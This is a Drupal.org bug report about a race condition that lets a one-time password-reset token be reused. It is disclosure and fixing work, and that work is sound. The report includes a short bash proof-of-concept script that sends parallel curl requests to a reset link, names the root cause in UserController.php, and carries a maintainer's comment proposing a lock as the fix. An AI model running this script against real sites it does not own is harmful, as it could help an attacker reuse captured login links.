Race-condition in reset password can allow the reuse of a token

Created on 18 June 2023, about 1 year ago
Updated 3 September 2023, 10 months ago

Originally reported to the Drupal security team by @rreiss on 26 March 2021 (#174515). Assuming it affects the latest stable release, this issue's version is set to D10.0

---
(Original post)

Drupal core has a race-condition vulnerability in its reset password "one-time" token, which may allow an attacker to reuse an already used token.

Steps to reproduce

1. Install a fresh new Drupal 8 website
2. Ask for a reset password one-time link (I used `drush uli`)
3. Request for the same URL multiple times in parallel
4. You should see that more than one response redirected you to the reset password form, in other words - you were able to log-in with the same token multiple times.

To make things easier, here is a script I used to validate this finding:
Create a new shell script, and call it race.sh:

#!/usr/bin/env bash
# The URL, e.g. https://drupal.local/en/user/reset/1/1616792769/jHjyg8sV9VZaPSwFOBrzdkrhVkPQluUQH-5SlUYIvGI/login
ULI=$1
echo "Testing for race-condition with the URL $ULI"

for i in {1..30}; do echo $i; done | xargs -P 25 -I{} curl -s $ULI

This script will run multiple Curl requests in parallel.

Now, run `drush uli` manually and run race.sh with this URL:

./race.sh https://drupal.local/en/user/reset/1/1616793653/yyrk-Vn1zAmyAkwPt-PMkencRMEm7kItCnhXvwL83z0/login | grep "edit?pass-reset-token"

The grep will filter only the successful responses, and you should see multiple successful responses (I had four in my execution).

Root Cause

The root cause is lying at:
core/modules/user/src/Controller/UserController.php
You can see that only after the condition at line 246, it enters `user_login_finalize` which updates the last login time.

Recommendations

Do not allow the same token to be reused, instead of checking the timestamp.

Impact

As you may understand, the impact is probably pretty low, but this, for example, can be exploited as part of a MITM attack.

Problem/Motivation

Steps to reproduce

Proposed resolution

Remaining tasks

User interface changes

API changes

Data model changes

Release notes snippet

Contributors

- alexpott
- rreiss
- greggles
- catch

Coordination:
- cliefen

🐛 Bug report
Status

Active

Version

10.0

Component
User system 

Last updated about 17 hours ago

Created by

🇳🇱Netherlands dokumori Utrecht

Live updates comments and jobs are added and updated live.
  • Security

    It is used for security vulnerabilities which do not need a security advisory. For example, security issues in projects which do not have security advisory coverage, or forward-porting a change already disclosed in a security advisory. See Drupal’s security advisory policy for details. Be careful publicly disclosing security vulnerabilities! Use the “Report a security vulnerability” link in the project page’s sidebar. See how to report a security issue for details.

Sign in to follow issues

Comments & Activities

  • Issue created by @dokumori
  • 🇳🇱Netherlands dokumori Utrecht

    Comment and patch by @alexpott

    I can confirm that this is an issue. There's a race in \Drupal\user\Controller\UserController::resetPassLogin() - in between loading the user and then updating the user in user_login_finalize(). In order to fix this we need to surround this with a lock.

    I think we might decide that this issue can be a public security improvement because whilst the race should be avoided I'm not sure its existence is a security issue per se. In order to leverage it you'd need to obtain a one time login link and if you can obtain it, eg from a MITM attack, and enter the race then there's a chance you'll be first and therefore will win regardless of this fix. This fix means that you have to be first instead of a close second.

  • 🇳🇱Netherlands dokumori Utrecht

    Adding a tag and a list of contributors in the original issue

Production build 0.69.0 2024